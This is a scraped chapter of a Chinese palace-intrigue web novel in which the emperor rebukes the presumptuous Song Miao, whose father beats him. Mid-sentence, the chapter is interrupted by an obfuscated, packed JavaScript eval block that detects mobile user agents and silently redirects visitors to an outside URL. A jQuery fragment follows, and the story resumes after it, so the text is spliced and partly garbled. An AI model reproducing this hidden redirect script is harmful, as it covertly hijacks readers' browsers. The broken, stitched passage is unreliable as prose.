默认冷灰
24号文字
方正启体

24. 嘴贱打嘴

作者:强力粘鼠板本书字数:K更新时间:
    新帝登基已有月余,四方战乱平息,又免冤狱以慰民心,从前受党祸所害的民众终于得以调养生息,上下一片安宁,大有中兴之象。


    只是中宫之位久缺,六宫空虚,椒风未立,朝臣屡屡谏言,终未得允。


    民间开始流传一种说法,据说中宫之位并非空悬,新帝在三年前遇难之际被一民女所救,二人一同出生入死躲避歹毒小人的追杀,生死患难之际两情相许。


    新帝甚至许下白首不渝的承诺,为了那一个人叫整个后宫空悬至今。


    这种传说流传极广,因其极具风月色彩而广受欢迎,一时间成了茶馆最卖座的话本。


    宋邈很自然地将自己带入进去,他父亲是助皇帝夺位的头号功臣,皇帝待他更是非同寻常,就连犯了破坏祭祀那样的大罪都能被一笔揭过,传言里和皇帝生死患难的人除了他还有谁?


    想起方才李锦玉的话,宋邈不自觉嘴角扬扬,转而想到春日宴过后已经很久没有见到皇帝了,便打算去一趟上清殿。


    大梁连年的战乱内乱导致民生凋敝,而黄河一代常有涝灾,朝臣商议在黄河一代建设渠沟,改道分流,这项举措甚至在先帝时期就有人提出过,不过因为工程太过繁浩,又时逢战乱而不了了之。


    乐湛与杜获当权时,涝灾成了当时政局的心腹大患,治理黄河的声音再度高涨,只可惜在刚冒出雏形的时候就因为占地原因,受到各方势力的阻碍,最终被再度搁置。


    马上又要到夏涝的时候了,李修宜不眠不休好几日,同段太师齐鄯见一干人商议治理黄河的举措,力争再此之前将涝灾遏止。


    天色渐晚,朝臣有序告退,李修宜单留了齐鄯见一人协助处理公务。


    跟着熬了好几夜,齐鄯见现下顶着眼下一对乌青,困得两眼发直,“知道陛下您精力超群,非常人所能及,但是能不能稍微善待一下您衷心耿耿的臣子,把我当个人行吗?”


    李修宜捏了捏眉心醒醒神,面上却未见多少疲乏之色,头也不抬道:“怎么?怀念在陇西的时候了?觉得还是在那里待得比较舒坦?”


    不出意外的话,下一句肯定要恐吓打发他去陇西了,齐鄯见赶紧表忠心,“微臣可全无此心啊,能为陛下效犬马之劳是天大的荣幸,哪敢谈什么舒坦不舒坦。”


    就知道他拿乐湛挑衅的那一回刺激到皇帝,惹得他心里不痛快了,这不就立马报复来了,拿他当鹰熬,真有够小心眼的。


    正这时候,何岑上前启禀称宋邈在殿外求见。


    齐鄯见想起来了这么一号人,望平,春日宴,还有射箭,几个印象在他脑海里组成一张寡俗倨傲的脸,那日宋邈说着舞文弄墨没意思,得罪了不少人,包括以学问著称的齐鄯见在内,但齐鄯见不是什么爱计较的人,想起来宋邈在殿外求见有些时候了,就替他问了一句,“陛下不宣吗?”


    “他能有什么要事,总不过是又要跑到朕跟前呛声,不必理会。”


    李修宜目前为止还以为是宋邈对他心有不满,也没时间去跟一个毛头小子计较。


    “陛下是这么以为的,那位可就不一定了。”


    关于中宫空悬的传言一天也没有停歇,春日宴当日皇帝对宋邈的纵容众人看在眼里,加上宋邈本人时常将皇帝的宠爱挂在嘴边,便有人猜测皇帝有龙阳之癖,那些风言风语没有一个字敢飘进李修宜的耳中,但齐鄯见却没少听说。


    “你想说什么?”李修宜狐疑道。


    齐鄯见反倒有些诧异,“这些天宫里的风声陛下一点没有听说?那臣也最好不要开这个先例,免得陛下要将我乱棍打死。”


    李修宜沉默了,很明显,有些事情的发展超乎了他的本意。


    “宣。”


    宋邈进殿,还没来得及高兴拜见,就看到了旁边的端坐着朝他友善一笑的齐鄯见。


    “你这么会在这?”


    方才郎官一直跟他说陛下里头正忙,原来是忙着和这个人相处!


    “这就怪了,我为何不能在这里。”齐鄯见摸不着头脑,纳闷这人怎么摆出一副捉奸的正宫做派。


    宋邈感受到了莫大的威胁,听说齐鄯见从前是太子伴读,和皇帝是从小到大的交情,后来随李修宜驻守边郡为其帷幄之臣,关系匪浅自不必说,宋邈和齐鄯见就像是截然相反的两个对立面。


    齐家是邺城中顶级的门阀世家之一,就连和萧家也沾了姻亲,齐鄯见本人的声望却完全不依靠其显赫的家族,三岁能诵五岁能辩,不到十岁就已经写下绝笔文章,神童之名天下皆知,但他对仕途的欲望并不强烈,这么多年只甘愿留在李修宜身边做一个谋士。


    倘若要比的话,宋邈直接被碾入尘埃里,连他自己也没有注意到隐约的自惭之意在心底膨胀,一旦泄了个口子,就变成加倍的无礼与倨傲。


    “你明明知道我在外面有事求见,你故意在里头拖着陛下,安的什么心?”


    “我?”齐鄯见指了指自己,简直给他冤得没话说,回头看皇帝。


    李修宜从小到大受到过的忤逆屈指可数,即便与人为善的面目装的再高明,但这并不代表他能容许有人敢在他面前放肆。


    “朕是不是告诫过你,不要失了规矩,这是在做什么?”他略皱一下眉头,指尖已经不自觉轻轻敲着桌面,那是烦躁的动作。


    宋邈满脸不高兴地转向他,并不恭敬道:“可是陛下也说过我这是孩子心性,不用刻意压制,难道陛下身为皇帝说话不算话吗?”


    齐鄯见爱好隔岸观火的毛病又上来了,心想这小子居然敢这么跟李修宜说话,连他都得忖度忖度分寸。


    李修宜捏了捏眉心,不欲与一个半大的孩子争论,“有何要事要禀?直说。”


    宋邈将他的态度当成宠溺妥协,挑衅地看了一眼齐鄯见,转过头直言不讳道,“一定有事要禀才能见陛下一面吗?陛下是不是都快忘了多少天没有见我了,难不成这些天就是在跟这个人在一起?”


    竟是跑来问责起皇帝来了。


    齐鄯见看好戏的心情都没了,暗中诧异地看向李修宜,那眼神活生生就是在说:“霍!感情你俩有一腿啊,早说啊。”


    搞得他成奸夫了,这不误会大了。


    李修宜从来不是什么迟钝的人,想起齐鄯见刚刚的欲言又止,结合宋邈说的这一番话,当下竟是觉得有些荒谬可笑,他嘴角扯出一丝冰冷的弧度。


    “不知道你是哪里产生的错觉,但是朕记得告诉过你,摆好自己的位置,为臣子者做好自己分内的事,朕的事尚还轮不到你来指手画脚。”


    一番话再也没有第一次那样留有情面,像一把刀一样毫不留情刺进宋邈的心窝里再拔出来,带出来一串血流如注,他的脸色青紫变换极其难看。


    他万万没想到皇帝能这么轻易地一口否决掉自己引以为傲的特殊,尤其还是在齐鄯见面前,宋邈更觉得浑身的力气都被抽空了,心神摇晃地后退一步,皇帝怎么可能对他只是和对待一个臣子无差?


    “你在骗我,”宋邈颤抖着声音说,“你怎么可能对我无意,明明春日宴上还特许我射箭,别人都没有这样的对待。”


    “只是因为这个吗?”李修宜略皱一下眉头,“我待你宽容是因为你自幼未被拘束,一时纠正不过来朕可以谅解,允许你射箭只是觉得宴会上沉闷了些,仅此而已,这么说你能明白吗?”


    李修宜从不会对自己的行事有一丝摇摆,更不会考虑是不是他无意之举让人会错了意,从来都是他人揣摩李修宜的心思行事,他从来不会去考虑一只无关紧要的蚂蚁的所思所想。


    “可是……可是陛下知道祭典上的事与我脱离不开关系,您不是也没惩罚我吗?”


    因为祭典当日宋弘毅刚封侯,李修宜不想那么快向宋弘毅为首的新贵功臣释放不友好的信号,况且宋邈在这件事里藏得很深,他盘根问底除了将事情宣扬得更加难看没有任何好处,没想到这件事最后也能被解读成这样。


    李修宜被胡搅蛮缠得有些心烦了,“朕知道这件事是你做的,所以在宴会那日警告过你,让你小心做人,朕是因为看在你父亲的情面上才暂时按下不表,看来你还没有明白朕的意思。”


    宋邈仿佛遭受了莫大的打击,撇头就看见齐鄯见看热闹不嫌事大地看过来。


    偏偏是在这个人面前!宋邈觉得丢脸。


    他更


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171724|196832||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    进了一步,脸色也更急了,“你是在骗我,都是因为顾及身份,怕影响了你明君的声望不愿意更进一步,可我不是已经迈出了第一步吗?为什么就算这样还是不愿意承认呢?”


    李修宜闭眼扶额,被膈应得够呛,沉声道,“宣平阳侯。”


    宋弘毅听见传唤一刻不敢耽搁,立马赶到上清殿,一进大殿就看见儿子失魂落魄跪在正中间,抬眼一看皇帝面色不算好看,立马感到大事不妙,立刻上前见礼,“参见陛下。”


    “看看,你教的好儿子。”皇帝的声音冷得可怕。


    宋弘毅偏头看向宋邈,毫不犹豫一拳头砸上去,连原因也不问,“孽畜,又犯了什么天大的罪行,还不赶紧跟陛下请罪!”


    他打的这一巴掌是给皇帝看的,按常理来说皇帝该做做样子,稍加阻拦,这样大家面子上都过得去,但是李修宜没有,就这样冷眼看着宋弘毅一拳一拳地揍下去,他不喊停,宋弘毅便不敢停。


    眼看见了红,旁边的齐鄯见有些看不下去了,“陛下,这小孩的心思难免有些天马行空,教训两下差不多就可以了,在上清殿要了性命怕是不吉利。”


    话音刚落,在宋弘毅拳头底下的宋邈骤然将矛头指向齐鄯见,“我知道是你跟陛下说了什么!要不然他不会这样对我!”


    齐鄯见还没说出口的话噎在喉咙口,心想这什么世道,怎么谁都跟他过不去。


    宋弘毅觑摸着皇帝的脸色,下手更重了几分,他此刻心都在滴血,妻子早逝,就留下这一个儿子给他,这些年里他不曾动过宋邈一根头发丝,要什么给他什么,哪里舍得下这种死手,他再也忍不住朝着皇帝拜去。


    他不敢求情,就这么伏拜到底。


    “原本竟不知用你们宋家一回,还有入赘为婿这一说,好大的狗胆,你们父子两个。”


    宋弘毅听得心惊肉跳,他回头看宋邈那副心如死灰的样子,才发现儿子竟存了这种心思,“求陛下降罪!”


    “这个人已经不适合继续待在御前,带回去好好管教,别叫朕代劳,你知道人落在朕手里会是个什么下场。”


    皇帝到底念着宋家的功勋,不愿落得兔死狗烹的名声,因而高抬贵手放过了宋邈这一回。


    宋弘毅一万个感恩戴德,丝毫没有儿子被削职的怨怼,赶紧跪谢皇帝仁厚,应承会好好管教儿子,一定不叫他再跑到御前污了皇帝的眼。


    隔日,一列卫队走进诏狱,奉承圣令对东平王孙处以拔舌之刑。


    邺城之中,只要是李修宜想知道的,任何一句话都会传进他的耳中,即便是诏狱之中也不例外。


    一旁的东平王李执听见了险些晕过去,被儿子儿媳搀住连连按人中才没一口气过去,回过神来再也顾不上体面,拍着大腿痛哭流涕起来。


    皇帝不愿意宽恕李锦玉一条命,李执即便日日去求也不得召见,无法,他只能诏狱门口守着,时时进去确认孙儿还活着,贿赂了狱卒稍加照料才能安下点心来。


    李执缓过神来,连忙拉住了为首的中郎将,老眼昏黄,声音哽咽得不像话,“陛下当真如此狠心,执意要了小儿的性命?”


    “陛下有令,臣等不敢违逆。”


    明知徒劳无功,李执仍是死死攥住中郎将的袖子,因为李执知道,要是放他进去,他那不成器的孙子自怕今日就要交代在这里了。


    中郎将无意得罪他,但是皇帝的命令给他十条命也不敢抗旨,他四下看了一眼,压低声音道,“东平王若是还想保住这个人,不妨去求求齐王。”


    “齐王……”


    昏黄的老眼里似乎亮了一点光,是绝处逢生的意思。


    “由他去求陛下,或许会有希望得多。”


    即便是齐王犯下如此悖逆之举皇帝也饶他不死,这个人的分量似乎远超众人预料,再者说了,齐王能活着少不了李锦玉那道圣旨,齐王该是欠着李锦玉一道人情的。


    李执瞬间被点拨得拨开迷雾见月明,感激涕淋就要行礼谢他大恩。


    “东平王切勿多礼,要尽快了,我等不敢拖延多少时间。”


    李执再不敢耽搁,拍拍褶皱遍布的衣袖,转身朝着宫门走去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)